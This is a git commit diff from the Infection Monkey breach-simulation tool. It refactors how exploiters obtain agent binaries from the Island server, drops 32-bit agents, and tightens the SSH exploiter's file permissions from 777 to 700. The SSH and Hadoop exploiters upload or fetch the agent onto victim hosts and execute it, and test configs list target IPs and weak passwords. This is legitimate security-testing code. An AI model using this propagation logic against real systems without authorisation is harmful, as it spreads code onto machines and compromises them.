forked from p15670423/monkey
commit
145078839d
|
@ -19,6 +19,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/).
|
|||
- The order and content of Monkey Island's initialization logging to give
|
||||
clearer instructions to the user and avoid confusion. #1684
|
||||
- The process list collection system info collector to now be a post-breach action. #1697
|
||||
- The "/api/monkey/download" endpoint to accept an OS and return a file. #1675
|
||||
|
||||
### Removed
|
||||
- VSFTPD exploiter. #1533
|
||||
|
@ -48,6 +49,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/).
|
|||
- ShellShock exploiter. #1733
|
||||
- ElasticGroovy exploiter. #1732
|
||||
- T1082 attack technique report. #1754
|
||||
- 32-bit agents. #1675
|
||||
|
||||
### Fixed
|
||||
- A bug in network map page that caused delay of telemetry log loading. #1545
|
||||
|
@ -57,6 +59,10 @@ Changelog](https://keepachangelog.com/en/1.0.0/).
|
|||
|
||||
|
||||
### Security
|
||||
- Change SSH exploiter so that it does not set the permissions of the agent
|
||||
binary in /tmp on the target system to 777, as this could allow a malicious
|
||||
actor with local access to escalate their privileges. #1750
|
||||
|
||||
## [1.13.0] - 2022-01-25
|
||||
### Added
|
||||
- A new exploiter that allows propagation via the Log4Shell vulnerability
|
||||
|
|
|
@ -42,9 +42,7 @@ download_monkey_agent_binaries() {
|
|||
load_monkey_binary_config
|
||||
|
||||
mkdir -p "${island_binaries_path}" || handle_error
|
||||
curl -L -o "${island_binaries_path}/${LINUX_32_BINARY_NAME}" "${LINUX_32_BINARY_URL}"
|
||||
curl -L -o "${island_binaries_path}/${LINUX_64_BINARY_NAME}" "${LINUX_64_BINARY_URL}"
|
||||
curl -L -o "${island_binaries_path}/${WINDOWS_32_BINARY_NAME}" "${WINDOWS_32_BINARY_URL}"
|
||||
curl -L -o "${island_binaries_path}/${WINDOWS_64_BINARY_NAME}" "${WINDOWS_64_BINARY_URL}"
|
||||
}
|
||||
|
||||
|
|
|
@ -25,15 +25,9 @@ get_latest_release() {
|
|||
MONKEY_LATEST_RELEASE=$(get_latest_release "guardicore/monkey")
|
||||
|
||||
# Monkey binaries
|
||||
export LINUX_32_BINARY_NAME="monkey-linux-32"
|
||||
export LINUX_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/monkey-linux-32"
|
||||
|
||||
export LINUX_64_BINARY_NAME="monkey-linux-64"
|
||||
export LINUX_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/monkey-linux-64"
|
||||
|
||||
export WINDOWS_32_BINARY_NAME="monkey-windows-32.exe"
|
||||
export WINDOWS_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/monkey-windows-32.exe"
|
||||
|
||||
export WINDOWS_64_BINARY_NAME="monkey-windows-64.exe"
|
||||
export WINDOWS_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/monkey-windows-64.exe"
|
||||
|
||||
|
|
|
@ -12,12 +12,8 @@ $PYTHON_URL = "https://www.python.org/ftp/python/3.7.7/python-3.7.7-amd64.exe"
|
|||
|
||||
|
||||
# Monkey binaries
|
||||
$LINUX_32_BINARY_URL = $MONKEY_DOWNLOAD_URL + "monkey-linux-32"
|
||||
$LINUX_32_BINARY_PATH = "monkey-linux-32"
|
||||
$LINUX_64_BINARY_URL = $MONKEY_DOWNLOAD_URL + "monkey-linux-64"
|
||||
$LINUX_64_BINARY_PATH = "monkey-linux-64"
|
||||
$WINDOWS_32_BINARY_URL = $MONKEY_DOWNLOAD_URL + "monkey-windows-32.exe"
|
||||
$WINDOWS_32_BINARY_PATH = "monkey-windows-32.exe"
|
||||
$WINDOWS_64_BINARY_URL = $MONKEY_DOWNLOAD_URL + "monkey-windows-64.exe"
|
||||
$WINDOWS_64_BINARY_PATH = "monkey-windows-64.exe"
|
||||
|
||||
|
|
|
@ -93,7 +93,7 @@ log_message "Cloning files from git"
|
|||
branch=${2:-"develop"}
|
||||
log_message "Branch selected: ${branch}"
|
||||
if [[ ! -d "$monkey_home/monkey" ]]; then # If not already cloned
|
||||
git clone --single-branch --recurse-submodules -b "$branch" "${MONKEY_GIT_URL}" "${monkey_home}" 2>&1 || handle_error
|
||||
git clone --recurse-submodules -b "$branch" "${MONKEY_GIT_URL}" "${monkey_home}" 2>&1 || handle_error
|
||||
fi
|
||||
|
||||
# Create folders
|
||||
|
@ -161,20 +161,15 @@ agents=${3:-true}
|
|||
if [ "$agents" = true ] ; then
|
||||
log_message "Downloading binaries"
|
||||
if exists wget; then
|
||||
wget -c -N -P ${ISLAND_BINARIES_PATH} ${LINUX_32_BINARY_URL}
|
||||
wget -c -N -P ${ISLAND_BINARIES_PATH} ${LINUX_64_BINARY_URL}
|
||||
wget -c -N -P ${ISLAND_BINARIES_PATH} ${WINDOWS_32_BINARY_URL}
|
||||
wget -c -N -P ${ISLAND_BINARIES_PATH} ${WINDOWS_64_BINARY_URL}
|
||||
else
|
||||
curl -o ${ISLAND_BINARIES_PATH}\monkey-linux-32 ${LINUX_32_BINARY_URL}
|
||||
curl -o ${ISLAND_BINARIES_PATH}\monkey-linux-64 ${LINUX_64_BINARY_URL}
|
||||
curl -o ${ISLAND_BINARIES_PATH}\monkey-windows-32.exe ${WINDOWS_32_BINARY_URL}
|
||||
curl -o ${ISLAND_BINARIES_PATH}\monkey-windows-64.exe ${WINDOWS_64_BINARY_URL}
|
||||
fi
|
||||
fi
|
||||
|
||||
# Allow them to be executed
|
||||
chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_32_BINARY_NAME"
|
||||
chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_64_BINARY_NAME"
|
||||
|
||||
# If a user haven't installed mongo manually check if we can install it with our script
|
||||
|
@ -207,8 +202,7 @@ if ! exists npm; then
|
|||
fi
|
||||
|
||||
pushd "$ISLAND_PATH/cc/ui" || handle_error
|
||||
npm install sass-loader node-sass webpack --save-dev
|
||||
npm update
|
||||
npm ci
|
||||
|
||||
log_message "Generating front end"
|
||||
npm run dist
|
||||
|
|
|
@ -209,9 +209,7 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName,
|
|||
"Adding binaries"
|
||||
$binaries = (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\cc\binaries")
|
||||
New-Item -ItemType directory -path $binaries -ErrorAction SilentlyContinue
|
||||
$webClient.DownloadFile($LINUX_32_BINARY_URL, (Join-Path -Path $binaries -ChildPath $LINUX_32_BINARY_PATH))
|
||||
$webClient.DownloadFile($LINUX_64_BINARY_URL, (Join-Path -Path $binaries -ChildPath $LINUX_64_BINARY_PATH))
|
||||
$webClient.DownloadFile($WINDOWS_32_BINARY_URL, (Join-Path -Path $binaries -ChildPath $WINDOWS_32_BINARY_PATH))
|
||||
$webClient.DownloadFile($WINDOWS_64_BINARY_URL, (Join-Path -Path $binaries -ChildPath $WINDOWS_64_BINARY_PATH))
|
||||
}
|
||||
|
||||
|
|
|
@ -16,7 +16,7 @@ The agent (which we sometimes refer to as the Infection Monkey) is a single Pyth
|
|||
|
||||
In order to compile the Infection Monkey for distribution by the Monkey Island, you'll need to run the instructions listed in the [`readme.txt`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey/readme.txt) on each supported environment.
|
||||
|
||||
This means setting up an environment with Linux 32/64-bit with Python installed and a Windows 64-bit machine with developer tools, along with 32/64-bit Python versions.
|
||||
This means setting up an environment with Linux 64-bit with Python installed and a Windows 64-bit machine with developer tools, along with 64-bit Python versions.
|
||||
|
||||
## The Monkey Island
|
||||
|
||||
|
|
|
@ -7,11 +7,14 @@ pre: "<i class='fas fa-play-circle'></i> "
|
|||
tags: ["usage"]
|
||||
---
|
||||
|
||||
|
||||
<!-- TODO: Update screenshots -->
|
||||
|
||||
If you haven't deployed the Monkey Island yet, please [refer to our setup documentation](/setup).
|
||||
|
||||
## Using the Infection Monkey
|
||||
|
||||
After deploying the Monkey Island in your environment, navigate to `https://<server-ip>:5000`.
|
||||
After deploying the Monkey Island in your environment, navigate to `https://<server-ip>:5000`.
|
||||
|
||||
### First-time login
|
||||
|
||||
|
|
|
@ -8,7 +8,7 @@ class BaseTemplate(ConfigTemplate):
|
|||
"basic.exploiters.exploiter_classes": [],
|
||||
"basic_network.scope.local_network_scan": False,
|
||||
"basic_network.scope.depth": 1,
|
||||
"internal.classes.finger_classes": ["PingScanner", "HTTPFinger"],
|
||||
"internal.classes.finger_classes": ["HTTPFinger"],
|
||||
"internal.monkey.system_info.system_info_collector_classes": [],
|
||||
"monkey.post_breach.post_breach_actions": [],
|
||||
"internal.general.keep_tunnel_open_time": 0,
|
||||
|
|
|
@ -9,7 +9,7 @@ class Drupal(ConfigTemplate):
|
|||
|
||||
config_values.update(
|
||||
{
|
||||
"internal.classes.finger_classes": ["PingScanner", "HTTPFinger"],
|
||||
"internal.classes.finger_classes": ["HTTPFinger"],
|
||||
"basic.exploiters.exploiter_classes": ["DrupalExploiter"],
|
||||
"basic_network.scope.subnet_scan_list": ["10.2.2.28"],
|
||||
"internal.network.tcp_scanner.HTTP_PORTS": [80],
|
||||
|
|
|
@ -10,7 +10,7 @@ class Mssql(ConfigTemplate):
|
|||
config_values.update(
|
||||
{
|
||||
"basic.exploiters.exploiter_classes": ["MSSQLExploiter"],
|
||||
"internal.classes.finger_classes": ["PingScanner"],
|
||||
"internal.classes.finger_classes": [],
|
||||
"basic_network.scope.subnet_scan_list": ["10.2.2.16"],
|
||||
"basic.credentials.exploit_password_list": [
|
||||
"Password1!",
|
||||
|
|
|
@ -21,7 +21,7 @@ class PowerShell(ConfigTemplate):
|
|||
"basic.credentials.exploit_password_list": ["Passw0rd!"],
|
||||
"basic_network.scope.depth": 2,
|
||||
"basic.credentials.exploit_user_list": ["m0nk3y", "m0nk3y-user"],
|
||||
"internal.classes.finger_classes": ["PingScanner"],
|
||||
"internal.classes.finger_classes": [],
|
||||
"internal.network.tcp_scanner.HTTP_PORTS": [],
|
||||
"internal.network.tcp_scanner.tcp_target_ports": [],
|
||||
"internal.exploits.exploit_ntlm_hash_list": [
|
||||
|
|
|
@ -14,7 +14,7 @@ class PowerShellCredentialsReuse(ConfigTemplate):
|
|||
"10.2.3.46",
|
||||
],
|
||||
"basic_network.scope.depth": 2,
|
||||
"internal.classes.finger_classes": ["PingScanner"],
|
||||
"internal.classes.finger_classes": [],
|
||||
"internal.network.tcp_scanner.HTTP_PORTS": [],
|
||||
"internal.network.tcp_scanner.tcp_target_ports": [],
|
||||
}
|
||||
|
|
|
@ -13,7 +13,7 @@ class SmbMimikatz(ConfigTemplate):
|
|||
"basic_network.scope.subnet_scan_list": ["10.2.2.14", "10.2.2.15"],
|
||||
"basic.credentials.exploit_password_list": ["Password1!", "Ivrrw5zEzs"],
|
||||
"basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"],
|
||||
"internal.classes.finger_classes": ["SMBFinger", "PingScanner", "HTTPFinger"],
|
||||
"internal.classes.finger_classes": ["SMBFinger", "HTTPFinger"],
|
||||
"internal.network.tcp_scanner.HTTP_PORTS": [],
|
||||
"internal.network.tcp_scanner.tcp_target_ports": [445],
|
||||
"monkey.system_info.system_info_collector_classes": [
|
||||
|
|
|
@ -13,7 +13,7 @@ class SmbPth(ConfigTemplate):
|
|||
"basic_network.scope.subnet_scan_list": ["10.2.2.15"],
|
||||
"basic.credentials.exploit_password_list": ["Password1!", "Ivrrw5zEzs"],
|
||||
"basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"],
|
||||
"internal.classes.finger_classes": ["SMBFinger", "PingScanner", "HTTPFinger"],
|
||||
"internal.classes.finger_classes": ["SMBFinger", "HTTPFinger"],
|
||||
"internal.network.tcp_scanner.HTTP_PORTS": [],
|
||||
"internal.network.tcp_scanner.tcp_target_ports": [445],
|
||||
"internal.classes.exploits.exploit_ntlm_hash_list": [
|
||||
|
|
|
@ -14,7 +14,7 @@ class Ssh(ConfigTemplate):
|
|||
"basic.credentials.exploit_password_list": ["Password1!", "12345678", "^NgDvY59~8"],
|
||||
"basic_network.scope.depth": 2,
|
||||
"basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"],
|
||||
"internal.classes.finger_classes": ["SSHFinger", "PingScanner"],
|
||||
"internal.classes.finger_classes": ["SSHFinger"],
|
||||
"internal.network.tcp_scanner.HTTP_PORTS": [],
|
||||
"internal.network.tcp_scanner.tcp_target_ports": [22],
|
||||
}
|
||||
|
|
|
@ -28,7 +28,6 @@ class Tunneling(ConfigTemplate):
|
|||
"basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"],
|
||||
"internal.classes.finger_classes": [
|
||||
"SSHFinger",
|
||||
"PingScanner",
|
||||
"HTTPFinger",
|
||||
"SMBFinger",
|
||||
],
|
||||
|
|
|
@ -13,7 +13,7 @@ class WmiPth(ConfigTemplate):
|
|||
"basic_network.scope.subnet_scan_list": ["10.2.2.15"],
|
||||
"basic.credentials.exploit_password_list": ["Password1!"],
|
||||
"basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"],
|
||||
"internal.classes.finger_classes": ["PingScanner", "HTTPFinger"],
|
||||
"internal.classes.finger_classes": ["HTTPFinger"],
|
||||
"internal.network.tcp_scanner.HTTP_PORTS": [],
|
||||
"internal.network.tcp_scanner.tcp_target_ports": [135],
|
||||
"internal.exploits.exploit_ntlm_hash_list": [
|
||||
|
|
|
@ -89,7 +89,6 @@ class Configuration(object):
|
|||
dropper_set_date = True
|
||||
dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll"
|
||||
dropper_date_reference_path_linux = "/bin/sh"
|
||||
dropper_target_path_win_32 = r"C:\Windows\temp\monkey32.exe"
|
||||
dropper_target_path_win_64 = r"C:\Windows\temp\monkey64.exe"
|
||||
dropper_target_path_linux = "/tmp/monkey"
|
||||
|
||||
|
|
|
@ -8,7 +8,6 @@ from urllib.parse import urljoin
|
|||
import requests
|
||||
from requests.exceptions import ConnectionError
|
||||
|
||||
import infection_monkey.monkeyfs as monkeyfs
|
||||
import infection_monkey.tunnel as tunnel
|
||||
from common.common_consts.api_url_consts import T1216_PBA_FILE_DOWNLOAD_PATH
|
||||
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT
|
||||
|
@ -259,22 +258,6 @@ class ControlClient(object):
|
|||
ControlClient.load_control_config()
|
||||
return not WormConfiguration.alive
|
||||
|
||||
@staticmethod
|
||||
def download_monkey_exe(host):
|
||||
filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host(host)
|
||||
if filename is None:
|
||||
return None
|
||||
return ControlClient.download_monkey_exe_by_filename(filename, size)
|
||||
|
||||
@staticmethod
|
||||
def download_monkey_exe_by_os(is_windows, is_32bit):
|
||||
filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host_dict(
|
||||
ControlClient.spoof_host_os_info(is_windows, is_32bit)
|
||||
)
|
||||
if filename is None:
|
||||
return None
|
||||
return ControlClient.download_monkey_exe_by_filename(filename, size)
|
||||
|
||||
@staticmethod
|
||||
def spoof_host_os_info(is_windows, is_32bit):
|
||||
if is_windows:
|
||||
|
@ -292,70 +275,6 @@ class ControlClient(object):
|
|||
|
||||
return {"os": {"type": os, "machine": arch}}
|
||||
|
||||
@staticmethod
|
||||
def download_monkey_exe_by_filename(filename, size):
|
||||
if not WormConfiguration.current_server:
|
||||
return None
|
||||
try:
|
||||
dest_file = monkeyfs.virtual_path(filename)
|
||||
if (monkeyfs.isfile(dest_file)) and (size == monkeyfs.getsize(dest_file)):
|
||||
return dest_file
|
||||
else:
|
||||
download = requests.get( # noqa: DUO123
|
||||
"https://%s/api/monkey/download/%s"
|
||||
% (WormConfiguration.current_server, filename),
|
||||
verify=False,
|
||||
proxies=ControlClient.proxies,
|
||||
timeout=MEDIUM_REQUEST_TIMEOUT,
|
||||
)
|
||||
|
||||
with monkeyfs.open(dest_file, "wb") as file_obj:
|
||||
for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK):
|
||||
if chunk:
|
||||
file_obj.write(chunk)
|
||||
file_obj.flush()
|
||||
if size == monkeyfs.getsize(dest_file):
|
||||
return dest_file
|
||||
|
||||
except Exception as exc:
|
||||
logger.warning(
|
||||
"Error connecting to control server %s: %s", WormConfiguration.current_server, exc
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def get_monkey_exe_filename_and_size_by_host(host):
|
||||
return ControlClient.get_monkey_exe_filename_and_size_by_host_dict(host.as_dict())
|
||||
|
||||
@staticmethod
|
||||
def get_monkey_exe_filename_and_size_by_host_dict(host_dict):
|
||||
if not WormConfiguration.current_server:
|
||||
return None, None
|
||||
try:
|
||||
reply = requests.post( # noqa: DUO123
|
||||
"https://%s/api/monkey/download" % (WormConfiguration.current_server,),
|
||||
data=json.dumps(host_dict),
|
||||
headers={"content-type": "application/json"},
|
||||
verify=False,
|
||||
proxies=ControlClient.proxies,
|
||||
timeout=LONG_REQUEST_TIMEOUT,
|
||||
)
|
||||
if 200 == reply.status_code:
|
||||
result_json = reply.json()
|
||||
filename = result_json.get("filename")
|
||||
if not filename:
|
||||
return None, None
|
||||
size = result_json.get("size")
|
||||
return filename, size
|
||||
else:
|
||||
return None, None
|
||||
|
||||
except Exception as exc:
|
||||
logger.warning(
|
||||
"Error connecting to control server %s: %s", WormConfiguration.current_server, exc
|
||||
)
|
||||
|
||||
return None, None
|
||||
|
||||
@staticmethod
|
||||
def create_control_tunnel():
|
||||
if not WormConfiguration.current_server:
|
||||
|
|
|
@ -19,7 +19,6 @@
|
|||
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
|
||||
"dropper_log_path_linux": "/tmp/user-1562",
|
||||
"dropper_set_date": true,
|
||||
"dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
|
||||
"dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
|
||||
"dropper_target_path_linux": "/tmp/monkey",
|
||||
|
||||
|
|
|
@ -9,6 +9,8 @@ from infection_monkey.config import WormConfiguration
|
|||
from infection_monkey.i_puppet import ExploiterResultData
|
||||
from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
|
||||
|
||||
from . import IAgentRepository
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
|
@ -67,9 +69,16 @@ class HostExploiter:
|
|||
)
|
||||
|
||||
# TODO: host should be VictimHost, at the moment it can't because of circular dependency
|
||||
def exploit_host(self, host, telemetry_messenger: ITelemetryMessenger, options: Dict):
|
||||
def exploit_host(
|
||||
self,
|
||||
host,
|
||||
telemetry_messenger: ITelemetryMessenger,
|
||||
agent_repository: IAgentRepository,
|
||||
options: Dict,
|
||||
):
|
||||
self.host = host
|
||||
self.telemetry_messenger = telemetry_messenger
|
||||
self.agent_repository = agent_repository
|
||||
self.options = options
|
||||
|
||||
self.pre_exploit()
|
||||
|
|
|
@ -1 +1,3 @@
|
|||
from .i_agent_repository import IAgentRepository
|
||||
from .caching_agent_repository import CachingAgentRepository
|
||||
from .exploiter_wrapper import ExploiterWrapper
|
||||
|
|
|
@ -0,0 +1,37 @@
|
|||
import io
|
||||
from functools import lru_cache
|
||||
from typing import Mapping
|
||||
|
||||
import requests
|
||||
|
||||
from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT
|
||||
|
||||
from . import IAgentRepository
|
||||
|
||||
|
||||
class CachingAgentRepository(IAgentRepository):
|
||||
"""
|
||||
CachingAgentRepository implements the IAgentRepository interface and downloads the requested
|
||||
agent binary from the island on request. The agent binary is cached so that only one request is
|
||||
actually sent to the island for each requested binary.
|
||||
"""
|
||||
|
||||
def __init__(self, island_url: str, proxies: Mapping[str, str]):
|
||||
self._island_url = island_url
|
||||
self._proxies = proxies
|
||||
|
||||
def get_agent_binary(self, os: str, _: str = None) -> io.BytesIO:
|
||||
return io.BytesIO(self._download_binary_from_island(os))
|
||||
|
||||
@lru_cache(maxsize=None)
|
||||
def _download_binary_from_island(self, os: str) -> bytes:
|
||||
response = requests.get( # noqa: DUO123
|
||||
f"{self._island_url}/api/monkey/download/{os}",
|
||||
verify=False,
|
||||
proxies=self._proxies,
|
||||
timeout=MEDIUM_REQUEST_TIMEOUT,
|
||||
)
|
||||
|
||||
response.raise_for_status()
|
||||
|
||||
return response.content
|
|
@ -3,6 +3,7 @@ from typing import Dict, Type
|
|||
from infection_monkey.model import VictimHost
|
||||
from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
|
||||
|
||||
from . import IAgentRepository
|
||||
from .HostExploiter import HostExploiter
|
||||
|
||||
|
||||
|
@ -16,17 +17,28 @@ class ExploiterWrapper:
|
|||
|
||||
class Inner:
|
||||
def __init__(
|
||||
self, exploit_class: Type[HostExploiter], telemetry_messenger: ITelemetryMessenger
|
||||
self,
|
||||
exploit_class: Type[HostExploiter],
|
||||
telemetry_messenger: ITelemetryMessenger,
|
||||
agent_repository: IAgentRepository,
|
||||
):
|
||||
self._exploit_class = exploit_class
|
||||
self._telemetry_messenger = telemetry_messenger
|
||||
self._agent_repository = agent_repository
|
||||
|
||||
def exploit_host(self, host: VictimHost, options: Dict):
|
||||
exploiter = self._exploit_class()
|
||||
return exploiter.exploit_host(host, self._telemetry_messenger, options)
|
||||
return exploiter.exploit_host(
|
||||
host, self._telemetry_messenger, self._agent_repository, options
|
||||
)
|
||||
|
||||
def __init__(self, telemetry_messenger: ITelemetryMessenger):
|
||||
def __init__(
|
||||
self, telemetry_messenger: ITelemetryMessenger, agent_repository: IAgentRepository
|
||||
):
|
||||
self._telemetry_messenger = telemetry_messenger
|
||||
self._agent_repository = agent_repository
|
||||
|
||||
def wrap(self, exploit_class: Type[HostExploiter]):
|
||||
return ExploiterWrapper.Inner(exploit_class, self._telemetry_messenger)
|
||||
return ExploiterWrapper.Inner(
|
||||
exploit_class, self._telemetry_messenger, self._agent_repository
|
||||
)
|
||||
|
|
|
@ -42,13 +42,18 @@ class HadoopExploiter(WebRCE):
|
|||
self.add_vulnerable_urls(urls, True)
|
||||
if not self.vulnerable_urls:
|
||||
return self.exploit_result
|
||||
paths = self.get_monkey_paths()
|
||||
if not paths:
|
||||
return self.exploit_result
|
||||
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"])
|
||||
|
||||
try:
|
||||
command = self._build_command(paths["dest_path"], http_path)
|
||||
dropper_target_path = self.monkey_target_paths[self.host.os["type"]]
|
||||
except KeyError:
|
||||
return self.exploit_result
|
||||
|
||||
http_path, http_thread = HTTPTools.create_locked_transfer(
|
||||
self.host, dropper_target_path, self.agent_repository
|
||||
)
|
||||
|
||||
try:
|
||||
command = self._build_command(dropper_target_path, http_path)
|
||||
|
||||
if self.exploit(self.vulnerable_urls[0], command):
|
||||
self.add_executed_cmd(command)
|
||||
|
|
|
@ -0,0 +1,21 @@
|
|||
import abc
|
||||
import io
|
||||
|
||||
|
||||
class IAgentRepository(metaclass=abc.ABCMeta):
|
||||
"""
|
||||
IAgentRepository provides an interface for other components to access agent binaries. Notably,
|
||||
this is used by exploiters during propagation to retrieve the appropriate agent binary so that
|
||||
it can be uploaded to a victim and executed.
|
||||
"""
|
||||
|
||||
@abc.abstractmethod
|
||||
def get_agent_binary(self, os: str, architecture: str = None) -> io.BytesIO:
|
||||
"""
|
||||
Retrieve the appropriate agent binary from the repository.
|
||||
:param str os: The name of the operating system on which the agent binary will run
|
||||
:param str architecture: Reserved
|
||||
:return: A file-like object for the requested agent binary
|
||||
:rtype: io.BytesIO
|
||||
"""
|
||||
pass
|
|
@ -2,7 +2,6 @@ import logging
|
|||
import os
|
||||
from typing import List, Optional
|
||||
|
||||
import infection_monkey.monkeyfs as monkeyfs
|
||||
from common.utils.exploit_enum import ExploitType
|
||||
from infection_monkey.exploit.consts import WIN_ARCH_32
|
||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||
|
@ -22,7 +21,7 @@ from infection_monkey.exploit.powershell_utils.powershell_client import (
|
|||
IPowerShellClient,
|
||||
PowerShellClient,
|
||||
)
|
||||
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey_by_os
|
||||
from infection_monkey.exploit.tools.helpers import get_monkey_depth
|
||||
from infection_monkey.model import DROPPER_ARG, RUN_MONKEY, VictimHost
|
||||
from infection_monkey.utils.commands import build_monkey_commandline
|
||||
from infection_monkey.utils.environment import is_windows_os
|
||||
|
@ -186,11 +185,15 @@ class PowerShellExploiter(HostExploiter):
|
|||
return is_monkey_copy_successful
|
||||
|
||||
def _write_virtual_file_to_local_path(self) -> None:
|
||||
"""
|
||||
# TODO: monkeyfs has been removed. Fix this in issue #1740.
|
||||
monkey_fs_path = get_target_monkey_by_os(is_windows=True, is_32bit=self.is_32bit)
|
||||
|
||||
with monkeyfs.open(monkey_fs_path) as monkey_virtual_file:
|
||||
with open(TEMP_MONKEY_BINARY_FILEPATH, "wb") as monkey_local_file:
|
||||
monkey_local_file.write(monkey_virtual_file.read())
|
||||
"""
|
||||
pass
|
||||
|
||||
def _run_monkey_executable_on_victim(self, executable_path) -> None:
|
||||
monkey_execution_command = build_monkey_execution_command(
|
||||
|
|
|
@ -4,12 +4,11 @@ import time
|
|||
|
||||
import paramiko
|
||||
|
||||
import infection_monkey.monkeyfs as monkeyfs
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from common.utils.exceptions import FailedExploitationError
|
||||
from common.utils.exploit_enum import ExploitType
|
||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey
|
||||
from infection_monkey.exploit.tools.helpers import get_monkey_depth
|
||||
from infection_monkey.i_puppet import ExploiterResultData
|
||||
from infection_monkey.model import MONKEY_ARG
|
||||
from infection_monkey.network.tools import check_tcp_port, get_interface_to_target
|
||||
|
@ -133,7 +132,6 @@ class SSHExploiter(HostExploiter):
|
|||
_, stdout, _ = ssh.exec_command("uname -o")
|
||||
uname_os = stdout.read().lower().strip().decode()
|
||||
if "linux" in uname_os:
|
||||
self.host.os["type"] = "linux"
|
||||
self.exploit_result.os = "linux"
|
||||
else:
|
||||
self.exploit_result.error_message = f"SSH Skipping unknown os: {uname_os}"
|
||||
|
@ -149,21 +147,9 @@ class SSHExploiter(HostExploiter):
|
|||
logger.error(self.exploit_result.error_message)
|
||||
return self.exploit_result
|
||||
|
||||
if not self.host.os.get("machine"):
|
||||
try:
|
||||
_, stdout, _ = ssh.exec_command("uname -m")
|
||||
uname_machine = stdout.read().lower().strip().decode()
|
||||
if "" != uname_machine:
|
||||
self.host.os["machine"] = uname_machine
|
||||
except Exception as exc:
|
||||
self.exploit_result.error_message = (
|
||||
f"Error running uname machine command on victim {self.host}: ({exc})"
|
||||
)
|
||||
logger.error(self.exploit_result.error_message)
|
||||
agent_binary_file_object = self.agent_repository.get_agent_binary(self.exploit_result.os)
|
||||
|
||||
src_path = get_target_monkey(self.host)
|
||||
|
||||
if not src_path:
|
||||
if not agent_binary_file_object:
|
||||
self.exploit_result.error_message = (
|
||||
f"Can't find suitable monkey executable for host {self.host}"
|
||||
)
|
||||
|
@ -172,26 +158,17 @@ class SSHExploiter(HostExploiter):
|
|||
return self.exploit_result
|
||||
|
||||
try:
|
||||
ftp = ssh.open_sftp()
|
||||
|
||||
self._update_timestamp = time.time()
|
||||
with monkeyfs.open(src_path) as file_obj:
|
||||
with ssh.open_sftp() as ftp:
|
||||
self._update_timestamp = time.time()
|
||||
ftp.putfo(
|
||||
file_obj,
|
||||
agent_binary_file_object,
|
||||
self.options["dropper_target_path_linux"],
|
||||
file_size=monkeyfs.getsize(src_path),
|
||||
file_size=len(agent_binary_file_object.getbuffer()),
|
||||
callback=self.log_transfer,
|
||||
)
|
||||
ftp.chmod(self.options["dropper_target_path_linux"], 0o777)
|
||||
status = ScanStatus.USED
|
||||
self.telemetry_messenger.send_telemetry(
|
||||
T1222Telem(
|
||||
ScanStatus.USED,
|
||||
"chmod 0777 %s" % self.options["dropper_target_path_linux"],
|
||||
self.host,
|
||||
)
|
||||
)
|
||||
ftp.close()
|
||||
self._set_executable_bit_on_agent_binary(ftp)
|
||||
|
||||
status = ScanStatus.USED
|
||||
except Exception as exc:
|
||||
self.exploit_result.error_message = (
|
||||
f"Error uploading file into victim {self.host}: ({exc})"
|
||||
|
@ -201,7 +178,10 @@ class SSHExploiter(HostExploiter):
|
|||
|
||||
self.telemetry_messenger.send_telemetry(
|
||||
T1105Telem(
|
||||
status, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, src_path
|
||||
status,
|
||||
get_interface_to_target(self.host.ip_addr),
|
||||
self.host.ip_addr,
|
||||
self.options["dropper_target_path_linux"],
|
||||
)
|
||||
)
|
||||
if status == ScanStatus.SCANNED:
|
||||
|
@ -233,3 +213,13 @@ class SSHExploiter(HostExploiter):
|
|||
|
||||
logger.error(self.exploit_result.error_message)
|
||||
return self.exploit_result
|
||||
|
||||
def _set_executable_bit_on_agent_binary(self, ftp: paramiko.sftp_client.SFTPClient):
|
||||
ftp.chmod(self.options["dropper_target_path_linux"], 0o700)
|
||||
self.telemetry_messenger.send_telemetry(
|
||||
T1222Telem(
|
||||
ScanStatus.USED,
|
||||
"chmod 0700 %s" % self.options["dropper_target_path_linux"],
|
||||
self.host,
|
||||
)
|
||||
)
|
||||
|
|
|
@ -11,38 +11,13 @@ def try_get_target_monkey(host):
|
|||
|
||||
|
||||
def get_target_monkey(host):
|
||||
import platform
|
||||
import sys
|
||||
|
||||
from infection_monkey.control import ControlClient
|
||||
|
||||
if host.monkey_exe:
|
||||
return host.monkey_exe
|
||||
|
||||
if not host.os.get("type"):
|
||||
return None
|
||||
